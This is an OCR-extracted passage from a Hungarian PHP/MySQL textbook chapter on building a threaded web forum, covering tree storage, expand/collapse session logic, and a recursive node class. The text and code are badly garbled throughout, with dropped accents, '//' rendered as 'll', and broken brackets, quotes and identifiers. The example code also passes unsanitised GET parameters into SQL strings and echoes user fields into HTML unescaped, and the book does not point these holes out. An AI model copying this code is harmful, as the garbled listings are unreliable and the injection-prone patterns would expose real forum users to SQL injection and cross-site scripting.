Hogy megrtsk, hogyan trolja ez a srruktra a hozzszlsokat s azok egymshoz viszonyrott kapcsolatt, nzzk meg
a 31.3 brt!
Database representation
postid: 1

parent: O

postid: 2

parent: 1

Tree representation

,
postid: 3

parent: 1

postid:4

parent: 2

31
\,

31.3 bra: Az

adatbzis kiegyenestett relcis formban trolja aJastruktrt.

Az brn jl lthat, hogy az adarbzisban szerepl minden egyes hozzszls szu lo mezje a fasrruktrban felette ta
!lhat hozzszls hozzaszolas ID-jr tartalmazza. A szl hozzszls az, amire az adott hozzszls vlaszol. Ltszik,
hogy a gykr csomponrnak, az l hozzaszalasiO-j hozzszlsnak nincsen szlje. Minden tmaindr hozzszls
ilyen lesz. Az ilyen rpus hozzszlsoknl O (nulla) szerepel majd az adarbzis szulo mezjben.

A hozzszlsok fanzetnek megtekintse


Mosr pedig olyan mdszerre van szksgnk, amivel kinyerherjk az adarbzisbl az informcit, majd kpesek lesznk
fasrruktrban megjelenteni azt. Mindezr az index. php nev nyitoldalon tesszk meg. A mosr kvetkez magyarzsr
megknnyrend az uj_hozzaszolas. php s az uj_hozzaszolas_tarolasa. php kddal felelettnk nhny hozz
szlsr; a kr fjlt a kvetkez rszben vizsgljuk majd meg.
Azrt kezdnk a hozzszlsok lisrjval, mert ezek alkotjk az oldal mkdsnek a gerincr. Ha ezzel megvagyunk, a tb
bi mr gyerekjtk lesz. A 31.4 brn a hozzszlsok kezdeti nzert ltjuk, azt, amivel a felhasznl elszr tallkozik olda

lunkon. Az brn az sszes tmaindr hozzszlst lthatjuk. Ezek egyike sem korbbi hozzszlsta adott vlasz, mindegyik
a sajt

tmjnak els hozzszlsa.

522

31.fezet

31.4 bra: A

hozzszlsok listjnak kezdeti nzete "sszecsukott llapotban" mutatja a tmkat.

Mr ezen az oldalon is tbb lehetsg kzl vlaszthatunk. A mensorban lv gombokkal j hozzszlst rhatunk, illetve
kibonthatjuk s sszecsukhatjuk a tmk nzett.
Hogy megrtsk, pontosan mit jelentenek ezek a lehetsgek, nzzk meg

az

egyes tmkat! Nmelyik eltt egy pluselet

lthatunk. Ez azt jelenti, hogy ezekre a hozzszlsokra mr vlaszoltak.A vlaszok megjelentshez kattintsunk erre a plusz
jelre! A 31.5 brn lthat szerkezetet gy kaptuk, hogy az egyik pluselre kattintottunk.

31

31.5 bra: A

tmhoz rt hozzszlsokat kibontva jelentettk meg.

A pluselre kattintva teht a tmaindt hozzszlshoz rt vlaszokat jelenthetjk meg. Ha ezt megtesszk, a plusel
mnussz vltozik. Ha erre, teht a mnuselre kattintunk, a hozzszlsokat sszecsukjuk, s ismt a kezdeti nzethez jutunk.
A 31.5 brn az egyik vlasz mellett is mnuselet figyelhernk meg. Ez azt jelenti, hogy erre a vlaszra is szlettek vlaszok.
A vlaszok szintje tetszleges mlysgig elmehet, s az egyes vlaszokat a megfelel pluselekre kattintva tekinthetjk meg.
A mensoron lthat.Kibonts" s sszecsuks" gombbal kibonthatjuk, illetve sszecsukhatjuk a hozzszlsok fonalait.
"
A Kibonts" gombra kattints eredmnyt a 31.6 brn lthatjuk.
"

31.6 bra: A

hozzszlsok Janzete teljesen kibontott llapotban.

Webes frum fejlesztse

523

Ha kzelebbrl megnzzk a 31.5 s a 31.6 brt, lthatjuk, hogy a parancssorban paramtereket adunk t az index.php
fjlnak. A 31.5 brn az albbi URL lthat:
http:lllocalhostlphp_es_mysqll31_fejezetlindex.php?kibont=5#5

A kd a kvetkezkppen olvassa ezt a sor:"bontsd ki az 5-s hozzaszelasiO-j elemet!" A# egyszeren egy HTML
horgony, ami az ppen kibontott elemet tartalmaz rszre grgeti le az oldalt.
A 31.6 brn gy nz ki

az

URL:

http:lllocalhostlphp es_mysqll31 fejezetlindex.php?kibont=mind

A.Kibonts" gomb a mind rtkkel adja t a kibont paramtert.

Kibonts s ssz;ecsuks
Hogy lssuk, hogyan jn ltre a hozzszlsok nzete, vizsgljuk meg a 31.2 pldakdban lthat index.php fjl tartalmt!
31.2 pldakd: index. php -A hozzszlsoknak az alkalmazs nyitoldaln lthat nzett elllt kd
<?php
session _start() ;
include ('beillesztett fuggvenyek.php');

ll ellenrizzk,

31

hogy ltrehoztuk-e a munkamenet-vltozkat

if(!isset($_SESSION['kibontva']))
$ SESSION['kibontva'l = array();

ll ellenrizzk,

hogy valamelyik kibonts gombra kattintottak-e

ll a kibont rtke lehet 'mind' vagy adott hozzaszolasiD,


if(isset($_GET['kibont']))
if($_GET['kibont']

==

vagy lehet res

'mind')

mindet kibont($ SESSION['kibontva'l);


else

$_SESSION['kibontva' l [$_GET['kibont'lJ

ll ellenorizzk,

true;

hogy valamelyik sszecsuks gombra kattintottak-e

ll az osszecsuk rtke lehet 'mind' vagy adott hozzaszolasiD,


if(isset($_GET['osszecsuk']))

if($_GET['osszecsuk'l=='mind')
$_SESSION['kibontva']
else

= array();

unset{$_SESSION['kibontva'] [$_GET['osszecsuk']]);

html fejlec_letrehozasa('Frumtmk');
index eszkozsor_megjelenitese();
ll a tmk fanzetnek megjelenitse
fanezet_megjelenitese($ SESSION['kibontva']);
html_lablec letrehozasa();
?>

vagy lehet res

524

31. fejezet

A kd az albbi hrom vltoz hasznlatval vgzi el feladatt:


A kibontva munkamenet-vltozval, ami azt tartja szmon, hogy melyik tmk (mely beszlgetsfonalak) vannak
kibontva. A vltoz nzetrl nzetre megrizhet, gy egyszerre tbb beszlgetsfonl is kibontott llapotban lehet.
A kibontva vltoz asszociatv tmb, amely azoknak a hozzszlsoknak a hozzaszolas ID-jt tartalmazza, ame
lyeknek a vlaszai ki vannak bontva.
A kibont paramterrel, amely azt kzli a kddal, hogy melyik beszlgetsfonalakat kell kibontani.
Az osszecsuk paramterrel, amely a:;:t tudatja a kddal, hogy melyik fonalakat kell sszecsuknia.
Amikor a plusz- vagy mnuselre, illetve a.,Kibonts" s.,sszecsuks" gombra kattintunk, az ezzel kivltott mvelet az
index. php kdot hvja meg gy, hogy j rtkeket trol a kibont s osszecsuk paramterben. A kibontva vltozt

arra hasznljuk, hogy oldalrl oldalra lpkedve nyomon tudjuk kvetni, mely fonalakat kell az adott nzetekben kibontani.
Az index. php kd elszr is indt egy munkamenetet, majd - ha ez korbban mg nem trtnt meg- hozzadja mun
kamenet-vlto:;:knt a kibontva vltozt. Ezt kveten ellenrzi, hogy kapott-e kibont vagy osszecsuk paramtert,
majd ennek megfelelen mdostja a kibontott tmbt. Nzzk most meg a kibont paramter kdjt:
if(isset($_GET['kibont' l))

if($_GET['kibont'l == 'mind')

mindet_kibont($ SESSION['kibontva'll;
else

$ SESSION['kibontva'l[$_GET['kibont'll

31

Ha a.Kibonts" gombra kattintunk, amindet_kibont ()

true;

fggvnyt hvjuk meg, ami a vlaszokkal rendelkez sszes

tmt berakja a kibontva tmbbe. (Rvidesen megvizsgljuk ezt.)


Ha konkrt beszlgetsfonalat kisrink meg kibontani, a kibont paramterben egy hozzaszolasiD-t fogunk kapni.
Ekkor a kibontva tmbh:;: ezt tkrzend egy j elemet kell hozzadnunk.
Amindet_kibont() fggvny kdjt a 31.3 pldakdban ltjuk.

31.3 pldakd: A forum_fuggvenyek. php kny vtr mindet_kibont ()fggvnye- Afggvny a $kibontva tmb

tartalmtfeldolgozva kibonija afrumban lv sszes tmt


function mindet kibont(&$kibontva) {

ll a gyermekeket tartalmaz tmk kijellse kibontottknt val megjelentsre


$kapcsolat = adatbazishoz kapcsolodas();
$lekerdezes = "SELECT hozzaszolasiD FROM fejlee WHERE gyermek

l";

$eredmeny = $kapcsolat->query($lekerdezes);
$szam = $eredmeny->num_rows;
for($i = 0;

$i<$szam;

$i++)

$aktualis sor = $eredmeny->fetch_row();


$kibontva[$aktualis sor[Oll=true;

A fggvny adatbzis-lekrdezst futtatva llaptja meg, hogy a frum mely hozzszlsai rendelkeznek vlasszal vagy vlas:;:okkal:
SELECT hozzaszolasiD FROM fejlee WHERE gyermek = l

A lekrdezs ltal visszaadott hozzszlsok hozzaddnak a kibontva tmbhz. Azrt futtatjuk ezt a lekrdezst, hogy
ksbb idt takartsunk meg. Megrehernnk, hogy egyszeren az sszes hozzs:;:lst hozzadjuk a kibontottak listjhoz, de
ksbb feleslegesen pazarolnnk el erforrsokat, amikor megkisrelnnk feldolgozni a nem ltez vlaszokat.
A hozszlsok sszecsuksa pontosan fordtva trtnik:
if(isset($_GET['osszecsuk'l)) {
if($_GET[ 'osszecsuk'l=='mind')

$ SESSION['kibontva'l = array();
else

unset($ SESSION['kibontva'l[$_GET['os szecsuk' ll);

Webes frum fejlesztse

525

A kibontva tmbbl gy tvolthatjuk el az elemeket, hogy kitrljk. Eltvoltjuk az sszecsukni kvnt beszlgetsfona
lakat, vagy- ha az oldal sszes tmjt ssze akarjuk csukni- kitrljk az egsz tmbt.
Mindez csak elkszlet volt, hogy tudjuk, melyik hozzszlsokat kell megjelenteni, s melyeket nem. A kd f rsze
a fanezet_megjelenitese($_SESSION ['kibontva' l) ; meghvsa, amely a megjelentend hozzszlsok fanzett
lltja el.

A hozzszlsok megjelentse
Vizsgljuk meg a 31.4 pldakdban lthat fanezet_megjelenitese () fggvnyt!
31.4 pldakd: A kimeneti_fuggvenyek. php

knyvtr fanezet_megjelenitese ()fggvnye- A fggvny a fastruk

tra gykr csompanijt lllja el


function fanezet_megjelenitese($kibontva,

$sor

O,

$start

0)

ll a tmk fanzetnek megjelenitse

global $tablazat_szelessege;
echo "<table width=\"".$tablazat szelessege."\">";

ll nzzk meg,

hogy a teljes listt vagy csak egy rszt jelentjk meg!

31

if($start>O)
$reszlista
else

true;

$reszlista

false;

ll a tma sszefoglalst ad fastruktra ltrehozsa


$fa = new csomopont($start,

ll utastsuk a ft,

'',

'',

'',

l,

true,

-1,

$kibontva,

$reszlista);

hogy jelentse meg nmagt!

$fa->megjelenites($sor,

$reszlista);

echo "<ltable>";

A fanezet_megjelenitese () fggvny legfbb feladata a fastruktra legfels csompontjnak ltrehozsa. Has:z:


nlatval jelentjk meg a hozzaszolas_megtekintese. ph p oldalon a teljes indexet, s hozzuk ltre a vlaszok
rszfit. A fggvny hrom paramtert fogad. Az els, a $kibontva a kibontott nzetben megjelentend hozzszlsok
hozzaszolas ID-jainak a listja. A msodik paramter a $sor, ez a sor sorszmt jelzi, amit arra hasznlunk majd, hogy

vltakoz szn sorokat hozzunk ltre.


A $start nev harmadik paramter kzli a fggvnnyel, hogy hol kezdje megjelenteni a hozzszlsokat. Ez a ltrehozan
d s megjelentend gykr csompont hozzaszolas ID-ja. Ha- a foldalon lvn- az sszes tmt szeretnnk megjelen
teni, akkor rtke O (nulla) lesz, ami azt jelenti, hogy a szl nlkli hozzszlsokat kvnjuk megjelenteni. Ha ez a paramter
O, akkor false rtket lltunk be a $reszlista vltoznak, s a teljes ft megjelentjk.
Ha a paramter O-nl nagyobb, akkor ezt fogjuk a megjelentend fa gykr csompontjaknt hasznlni, true-ra lltjuk
a $reszlista rtkr, majd csak a fa egy rszt jelentjk meg. (Rszlistkat a ho:z::z:aszolas_megtekintese.php kd
ban hasznlunk.)
A fggvny legfontosabb feladata a csomopont osztly egy, a fa gykert jelkpez pldnynak ltrehozsa. Ez valjban
nem igazi hozzszls, de az els szint, szl nlkli hozzszlsok szljeknt viselkedik. A fa ltreho:z:sa utn egyszeren
meghvjuk megjelent fggvnyt, hogy tnylegesen megjelentsle a hozzszlsok listjt.

526

31. fejezet

A csomapont osztly hasznlata


A csomepont osztly kdjt a 31.5 pldakdban talljuk. (Mieltt ttanulmnyoznnk, rdemes lehet az

tlt PHP cm 6. fejezetbe belelapozva tismtelni az osztlyok mkdst.)


31.5 pldakd:

A csomopent_osztaly.php fjl csomopont osztlya- Az alkalmazs gerince

<?php

ll ebben a fjlban tallhatk a fanzet betltsre,


ll ltrehozsra s megjelentsre hasznlt fggvnyek
class csomapont {

ll a fanzet minden csompontjnak tagvltozi vannak,


ll amelyek a hozzszls szvegn kvl annak minden adatt tartalmazzk
public $m_hozzaszolasiD;
public $m_cim;
public $m_hozzaszolo;
public $m_datum;
public $m_gyermek;
public $m_gyereklista;
public $m_szint;

31

public function

construct($hozzaszolasiD, $eim, $hozzaszolo, $datum,

__

$gyermek, $kibont, $szint, $kibontva, $reszlista)

ll a konstruktor belltja a tagvltozkat, de ami ennl is fontosabb,


ll rekurzv mdon ltrehozza a fa alsbb rszeit
$this->m_hozzaszolasiD = $hozzaszolasiD;
$this->m_cim = $eim;
$this->m_hozzaszolo = $hozzaszolo;
$this->m_datum = $datum;
$this->m_gyermek =$gyermek;
$this->m_gyereklista = array();
$this->m_szint = $szint;

ll csak akkor foglalkozunk azzal, hogy mi van a csompont alatt,


ll ha vannak gyerekei, s ki van jellve kibontsra
ll a rszlistk mindig ki vannak bontva
if(($reszlista

l l

$kibont)

&&

$gyermek)

$kapcsolat = adatbazishoz kapcsolodas();


$lekerdezes = "SELECT * FROM fejlee WHERE
szulo = '".$hozzaszolasiD."' ORDER BY datum";
$eredmeny = $kapcsolat->query($lekerdezes);

for ($szamlalo=O;
if($reszlista
$kibont

$sor = @$eredmeny->fetch_assoc();

l l

$szamlalo++)

$kibontva [$sor['hozzaszelasiO'll == true)

true;

else {
$kibont = false;
$this->m_gyereklista[$szamlalol= new csomopont($sor['hozzaszolasiD'l,
$sor['cim'l, $sor['hozzaszolo'l,$sor['datum'l,
$sor['gyermek'l, $kibont, $szint+l, $kibontva,
$reszlista);

Objektumorien

Webes frum fejlesztse

function megjelenites($sor,

$reszlista = false)

ll mivel objektumrl van sz,

felel sajt maga megjelentsrt

ll a $sor vltoz mondja meg,

hogy a megjelents melyik sornl jrunk,

ll gy tudjuk,

hogy milyen szn legyen

ll a $reszlista vltoz kzli,

hogy a foldalon

ll vagy a hozzszlsok oldaln vagyunk.


ll $reszlista = true kell,

A hozzszlsok

''+''

''-''

oldaln

hogy legyen.

ll A rszlistkon minden hozzszls ki van bontva,


ll

527

s nincsenek

jelek.

ll ha ez az res gykr csompont,


if ($this->m_szint>-1)

hagyjuk ki a megjelentst!

ll vltakoz szn sorok belltsa


echo "<tr><td bgcolor=\"";
if ($sor%2)

echo ' '#cccccc\'' > '';

31

else
echo "lffffff\">";

ll a vlaszok szintjknek megfelel mrtk behzsa


for($i = 0;

$i < $this->m_szint;

$i++)

echo "<img src=\"imagesl terkoz.gif\" height=\"22\"


width=\"22\" alt=\"\" valign=\"bottom\" l>";

ll + vagy - vagy trkz megjelenitse


if ((!$reszlista) && ($this->m_gyermek) && (sizeof($this->m_gyereklista)))
ll a foldalon vagyunk,

vannak gyermekek,

s ki vannak bontva

ll ki vannak nyitva - knljuk fel az sszecsuksra szolgl gombot!


echo "<a href=\"index.php?osszecsuk=".
$this->m_hozzaszolasiD."I".$this->m_hozzaszolasiD."\"><img
src=\"imagesl minusz.gif\" valign=\"bottom\"
height=\"22\" width=\"22\" alt=\"Tma sszecsuksa\"
border=\"0\" l ><la>\n";
else if(!$reszlista && $this->m_gyermek)

ll ssze vannak csukva - knljuk fel a kibontsra val gombot!


echo "<a href=\"index.php?kibont=".
$this->m_hozzaszolas!D."I".$this->m_hozzaszolas!D."\"><img
src=\"imageslplusz.gif\" valign=\"bottom\"
height=\"22\" width=\"22\" alt=\"Tma kibontsa\"
border=\"0\" l><la>\n";
else

ll nincsenek gyermekek,

vagy rszlistban vagyunk,

nem kell gomb

echo "<img src=\"imageslterkoz.gif\" height=\"22\"


width=\"22\" alt=\"\" valign=\"bottom\"1>\n";

echo "<a name=\ '"'.$this->m_hozzaszolas!D."\"><a href=

528

31. fejezet

\" hozzaszolas_megtekintese.php?hozzaszolasiD=".
$this->m_hozzaszolasiD."\">".
$this->m_cim." - ".$this->m_hozzaszolo." - ".
datum_formazasa($this->m_datum) ."<la><ltd><ltr>";
ll sorszmll nvelse a vltakoz szn sorok ellltshoz
$sor++;
ll megjelenites fggvny meghvsa a csompont sszes gyermekn
ll egy csompontnak csak akkor lesznek gyermekei a listban,

ha ki van bontva

$szam_gyermek = sizeof($this->m_gyereklista);
for($i

0;

$i<$szam_gyermek;

$i++) {

$sor = $this->m_gyereklista[$i]->megjelenites($sor,

$reszlista);

return $sor;

?>

31

Ez az osztly tartalmazza az alkalmazs fanzetet lehetv tev funkciit.


A csomopont osztly minden egyes pldnya egyeden hozzszls adatait, illetve az arra a hozzszlsra adott vlaszokra
mutat hivatkozsokat tartalmazza. A kvetkez tagvltozkhoz jutunk ezzel:
public $m_hozzaszolasiD;
public $m_cim;
public $m_hozzaszolo;
public $m_datum;
public $m_gyermek;
public $m_gyereklista;
public $m_szint;

Vegyk szre, hogy a csomopont objektum nem tartalmazza a hozzszls szvegt! Azt ugyanis mindaddig nem szk
sges betlteni, amg a felhasznl a hozz aszolas _ megtekintese.php kdhoz nem jut. Meg kell prblni viszonylag
gyorss tenni ezt a folyamatot, mert a fanzet megjelentshez rengeteg adat kezelsre van szksg, illetve jelents mennyi
sg adatot kell jra kiszmtani az oldal frisstsekor vagy valamelyik gombra kattintskor. Ezeknl a vltozknl az objek
tumorientlt programozsban gyakran alkalmazott elnevezsi szokst kvettk: a vltoznevek m

eltaggal jelzik, hogy az

osztly tagvltozirl van sz. E vltozk tbbsge kzvetlenl az adatbzis fej lec tblja sorainak felel meg. A kt kivtel
az $m_gyereklista s az $m_sz int. Az elbbiben troljuk a hozzszlsra adott vlaszokat. Az $m_szint vltoz
pedig azt trolja, hogy a fastruktrn bell hny szinttel vagyunk lejjebb; erre az adatra a megjelents ltrehozsakor lesz
szksgnk.
A konstruktorfggvny az albbi kddal lltja be a vltozk rtkr:
public function

construct($hozzaszolasiD,
$kibont,

$szint,

$eim,

$kibontva,

ll a konstruktor belltja a tagvltozkat,

$hozzaszolo,

$datum,

$gyermek,

$reszlista)
de ami ennl is fontosabb,

ll rekurzv mdon ltrehozza a fa alsbb rszeit


$this->m_hozzaszolasiD = $hozzaszolasiD;
$this->m_cim = $eim;
$this->m_hozzaszolo

$hozzaszolo;

$this->m_datum = $datum;
$this->m_gyermek =$gyermek;
$this->m_gyereklista = array();
$this->m_szint = $szint;

Amikor a nyitoldalrl a fanezet_megj elenitese () fggvnnyel ellltjuk a gykr csomopont objektumot, lnye
gben egy dummy csompontot hozunk ltre, amelyikhez nincsen hozzszls trstva:
$fa = new csomopont($start,

'',

l,

true,

-1,

$kibontva,

$reszlista);

Webes frum fejles:?:tse

529

E2: a kdsor egy O (nulla) $hoz:?:aszolasiD-j gykr csompontot hoz ltre. E:?:t arra tudjuk has:?:nlni, hogy megtalljuk
az els snt, azaz tmaindt hozszlsokat, mivel ezeknek nulla szlejk van. A szintjt azrt -l-re lltjuk, mert ez a cso
mpont tnylegesen nem jelenik meg a nzetben. Az els snt hozszlsok s:?:intrtke 0, s a kperny bal szln jelennek
meg. A s:?:intrtk nvekedsvel a hozszlsok jobbra behzva jelennek meg.
A legfontosabb dolog, ami a konstruktorban trtnik, hogy ltrejnnek a csompont gyermek csompontjai. A folyamat
annak ellenrzsvel indul, hogy ki kell-e bontanunk a gyermek csompontokat. Ezt csak akkor nzzk meg, ha a csompont
rendelkezik gyermekekkel, s gy dntttnk, hogy megjelentjk azokat:
if(($reszlista l l $kibont)

&&

$gyermek) {

$kapcsolat = adatbazishoz kapcsolodas();

Ezt kveten kapcsoldunk az adatbhishoz, majd az albbi kddal visszakeressk a gyermek ho:?:szlsokat:
$lekerdezes = "SELECT

FROM fejlee WHERE szulo = '".$hozzaszolasiD."' ORDER BY datum";

$eredmeny = $kapcsolat->query($lekerdezes);

Ezt kveten feltltjk az $m_gyereklista tmbt a csomopont osztly azon pldnyaival, amelyek az ebben
a csomopont objektumban trolt hozszlsra adott vlaszokat tartalmazzk:
for ($szamlalo=O;
if($reszlista

$sor = @$eredmeny->fetch_assoc();

l 1

$szamlalo++)

$kibontva[$sor['hozzaszolasiD']] == true)

$kibont = true;
else

$kibont = false;
$this->m_gyereklista[$szamlalo]= new csomopont($sor['hozzaszolasiD'],$sor['cim'),
$sor['hozzaszolo'],$sor['datum'], $sor['gyermek'], $kibont,
$szint+l, $kibontva, $reszlista);

Ez az utols sor hozza ltre az j csomopont objektumokat; pontosan ugyanazt az eljrst kveti, mint amin az imnt
vgigmentnk, m a fa eggyel alacsonyabb szintjn teszi mindezt. E2: a kd rekurzv rsze: egy szl csompont meghvja
a csomopont konstruktort, sajt hozzaszolas ID-jt adja t szlknt, s szintrtke tadsa eltt eggyel megnveli azt.
Az gy ltrejtt minden csomopont objektum ltrehozza sajt gyermekeit, s ez mindaddig ismtldik, amg el nem fogy
nak a kibontani kvnt vlaszok vagy szintek.
Miurn mindezzel megvagyunk, meghvjuk a gykr csomopont megjelent fggvnyr(a fanezet_megjelenitese ()
fggvnyben):
$fa->megjelenites($sor, $reszlista);

A megj elenites () fggvny elszr is ellenrzi, hogy dummy gykr csompontral ll-e szemben:
if($this->m_szint > -1)

Ezzel megoldhat, hogy a dummy csompont megjelentsrl elrekintsnk. Teljes mrrkben azonban nem kvnjuk r
ugrani a gykr csomponrot. Megjelenteni ugyan nem szeretnnk, de tudatnia kell a gyermekeivel, hogy azoknak meg kell
jelentenik magukat.
A megjelenites () fggvny ezutn elkezdi megrajzolni a hozzszlsokat tartalmaz tblzatot. A maradk mveleti
jel(%) segtsgvel llaprja meg a sor httrsznr (gy fogunk vltakoz szn sorokat kapni):
ll vltakoz szn sorok belltsa
echo "<tr><td bgcolor=\"";
if ($sor%2)
echo ' '#cccccc\''>'';
else
echo "lffffff\">";

Ezt kveten az $m_szint tagvltoz rtkt megvizsglva megllaptja, hogy mennyire kell behznia az adott elemet. Ha
a korbban ltott brkhoz visszalapozunk, lthatjuk, hogy minl mlyebb szinten van egy vlasz, annl jobban be van hzva.
Az albbi kddal programozzuk ezt:
ll a vlaszok szintjknek megfelel mrtk behzsa
for($i = 0;

$i < $this->m_szint;

$i++)

echo "<img src=\"images lterkoz.gif\" height=\"22\"


width=\"22\" alt=\"\" valign=\"bottom\" l>";

31

530

31.fgezet

A fggvny kvetkez rs:;:e a:;:t llaptja meg, hogy plus:;:- vagy mnuselet, esetleg csupn trk:;:t jelentsen-e meg:
ll + vagy - vagy trkz megjelenitse
f ((!$reszlista) && ($this->m_gyermek) && (sizeof($this->m_gyereklista)))
ll a foldalon vagyunk,

vannak gyermekek,

s ki vannak bontva

ll ki vannak nyitva - knljuk fel az sszecsuksra szolgl gombot!


echo "<a href=\"index.php?osszecsuk=".
$this->m_hozzaszolasiD."#".$this->m_hozzaszolasiD."\"><img
src=\"imageslminusz.gif\" valign=\"bottom\"
height=\"22\" width=\"22\" alt=\"Tma sszecsuksa\"
border=\"0\" l><la>\n";
else if(!$reszlista && $this->m_gyermek)
ll ssze vannak csukva - knljuk fel a kibontsra val gombot!
echo "<a href=\"index.php?kibont=".
$this->m_hozzaszolasiD."#".$this->m_hozzaszolasiD."\"><img
src=\"imageslplusz.gif\" valign=\"bottom\"
height=\"22\" width=\"22\" alt=\"Tma kibontsa\"
border=\"0\" l><la>\n";
else

ll nincsenek gyermekek,

vagy rszlistban vagyunk,

nem kell gomb

echo "<img src=\"imageslterkoz.gif\" height=\"22\"

31

width=\"22\" alt=\"\" valign=\"bottom\"1>\n";

Ezt kveten a csompont adatait jelentjk meg:


echo "<a name=\"".$this->m hozzaszolasiD."\"><a href=
\" hozzaszolas megtekintese.php?hozzaszolasiD=".$this->m_hozzaszolasiD."\">".
$this->m_cim." - ".$this->m_hozzaszolo." - " .
datum_formazasa($this->m_datum)."<la><ltd><ltr>";

Majd megvltoztatjuk a kvetkez sor sznt:


ll sorszmll nvelse a vltakoz szn sarok ellltshoz
$sor++;

A fentieket olyan kd kveti, amit az sszes csomopont objektum, kztk a gykr is vgrehajt:
ll megjelenites fggvny meghvsa a csompont sszes gyermekn
ll egy csompontnak csak akkor lesznek gyermekei a listban,

ha ki van bontva

$szam_gyermek = sizeof($this->m_gyereklista);
for($i

0;

$i<$szam_gyermek;

$i++)

$sor = $this->m_gyereklista[$i]->megjelenites($sor,

$reszlista);

return $sor;

Ismt rekurzv fggvnyhvssal llunk szemben, am a csompont minden gyermekn meghvdik, hogy azok megjelentsk
magukat. tadjuk nekik az aktulis sor s:;:nt, majd ha mr befejeztk feladatukat, visszakrjk a szninformcit, hogy foly
tatni tudjuk a vltakoz szn sorok megjelentst.
Ennyi trtnik ebben az os<:tlyban. A kd vis:;:onylag sszetett volt. Ha gy gondoljuk, kisrletez:;:nk tovbb az alkalmazs
futtatsval, majd akkor trjnk vissza ehhe<: az rs:;:hez, ha mr jl kiismerjk magunkat frumunk mkdsben!

A hozzszlsok egyenknti megtekintse


A fanezet_megjelenitese () fggvny meghvsval egy adott tma hozzs:;:lsaira mutat hivatko<:sokat kapunk. Ha

az egyes hoz:;:szlsokra kattintunk, a hozzaszolas_megtekintese.php kdba jutunk, amelynek tadjuk a megrekinte


ni kivnt hoz:;:s:;:ls hozzaszolas I D-jt. A 31.7 brn e kd kimenetre ltunk pldt.
A 31.6 pldakdban kzlt hozzaszolas_ megtekintese. php kd megjelenti a ho:;:zszls tartalmr, illetve a hoz

zszlsra rkezett vlaszokat. A vlaszok ismt fastruktrban jelennek meg, m e:;:ttal teljesen kibontva, brmilyen plusz
vagy mnuszgomb nlkl. Ez azrt trtnhet gy, mert a $reszlista gba kerlnk.

Webes frum fejlesztse

531

31.6 pldakd: hozzaszolas_megtekintese. php-A kd egy-egy hozzszls tartalmt jelenti meg


<?php
ll fggvnyknyvtrak beillesztse
lnclude ('beillesztett_fuggvenyek.php');
ShozzaszolasiD

S_GET['hozzaszolasiD'];

ll hozzszls adatainak lekrse


Shozzaszolas

hozzaszolas lekerese($hozzaszolas!D);

html fejlee letrehozasa($hozzaszolas['cim']);


ll hozzszls megjelenitse
hozzaszolas_megjelenitese($hozzaszolas);
ll ha a hozzszlsra rkeztek vlaszok,

jelentsk meg fanzetket!

if($hozzaszolas['gyermek'])
echo "<br l><br />";
valaszsorok_megjelenitese();
fanezet_megjelenitese($ SESSION['kibontva'],

O,

$hozzaszolasiD);

31

html lablec_letrehozasa();
?>

\,

<

<l> havn:l
t .lta

:::::.zt1o.ot-2<1
,..,.. ---
Hogytr1lo:eii\M.znlhiCJO..f1

.Vlasz lnde:t

31.7 bra: A bngszben az adott hozzszls tartalmt lthauk.


A kd hrom fontosabb fggvnyt meghvva ltja el feladatt. Ezek: a hozzaszolas_lekerese (),a hozzaszolas_
megjelenitese () s a fanezet_megjelenitese ().A 31.7 pldakdban lthat hozzaszolas_lekerese () fgg

vny kinyeri a hozzszls adatait

az

adatbzisbL

31.7 pldakd: A forum_fuggvenyek. php knyvtr hozzaszolas_lekerese ()fggvnye- Visszakeresi az adatbzis

bl a hozzszlst
function hozzaszolas_lekerese($hozzaszolasiD)
ll lekri az adatbzisbl az adott hozzszlst,
if(!$hozzaszolasiD)
return false;

$kapcsolat

adatbazishoz kapcsolodas();

s tmbknt adja vissza

532

31. fejezet

ll fejlcadatok lekrse a 'fejlec ' tblbl


$lekerdezes = "SELECT

* FROM fejlee WHERE hozzaszalasiO

''' .$hozzaszolasiD.''''';

$eredrneny = $kapcsolat->query($lekerdezes);
if($eredrneny->num_rows!=l)
return false;

$hozzaszolas = $eredrneny->fetch_assoc();

ll hozzszls lekrse a tartalom tblbl s hozzadsa az elz eredmnyhez


$lekerdezes
$eredrneny2

"SELECT * FROM tartalom WHERE hozzaszalasiO =

'".$hozzaszolasiD."'";

$kapcsolat->query($lekerdezes);

if($eredrneny2->num_rows>O)

$tartalom = $eredrneny2->fetch_assoc();
if($tartalom)
$hozzaszolas['uzenet']

$tartalom['uzenet'];

return $hozzaszolas;

31

A fggvny a neki radott hozzaszolas I D birtokban kt lekrdezst futtatva visszakeresi a hozzszls fejlct s tartal

mr, sszerakja ezeket egy tmbbe, majd ezt a tmbt adja vissza.
Ezt kveten a hozzaszolas_lekerese () fiiggvny eredmnyeit tadjuk a kimeneti_fuggvenyek. php knyvtr
hozzaszolas_megjelen itese () fiiggvnynek. Ez a fiiggvny pusztn annyit tesz, hogy nmi HTML formzst kvet

en megjelenti a tmbt, ezrt itt s most rszletesen nem mutatjuk be mkdst.


Vgl a hozzaszolas_megtekintese. ph p kd megnzi, rtak-e mr vlaszokat a hozzszlshoz, majd a fanezet_
megjelenitese() higgvnyt meghvva rszlistaknt-vagyis teljesen kibontva, de plusz- s minuszgombok nlkl-jelenti

meg az esetlegesen meglv vlaszokat.

j hozzszls rsa
Vgre eljutottunk odig. hogyan kell j hozzszlsokat rni a frumhoz. A felhasznlk ktflekppen tehetik meg ezt: az

egyik mdszer az, ha az indexoldalon az "j hozzszls" gombra kattintanak, a msik pedig az, hogy a hozzaszolas_

megtekintese.php oldal.Vlasz" gombjt vlasztjk.

Ezek a mveletek mind az uj_hozzaszolas. php cm kdot hvjk meg. azonban eltr paramterekkel teszik ezt.
A 31.8 brn a.Vlasz" gombra kattintssal meghvott uj_hozzaszolas. php kd kimenett lthatjuk.

31.8 bra: A vlaszokban automatikusan megjelenik az eredeti hozzszls szvege.

Elszr is vizsgljuk meg az brn lthat URL-t:


http:lllocalhostlphp_es_mysqll3l_fejezetluj_hozzaszolas.php?szulo=2

Webes frum fejlesztse

A szulo vltozknt radott paramter

.j hozzszlsr' kattintunk,

az

az

533

j hozzszls szljnek hozzaszolasID-ja. Ha a,.Vlasz'' gomb helyett az

URL-ben szulo=O rtket lthatunk.

Msodsorban lthat, hogy a kd beszrja a vlaszba

az

eredeti hozzszls szvegt, s > karakterrel megjelli, ahogy azt

a levelez s hrolvas alkalmazsok tbbsgnl mr megszokhattuk. Harmadsorban szrevehetjk, hogy a hozzszls cme
alaprtelmezsben megegyezik az eredeti hozzszlsval, csak kapott egy Re: eltagot.
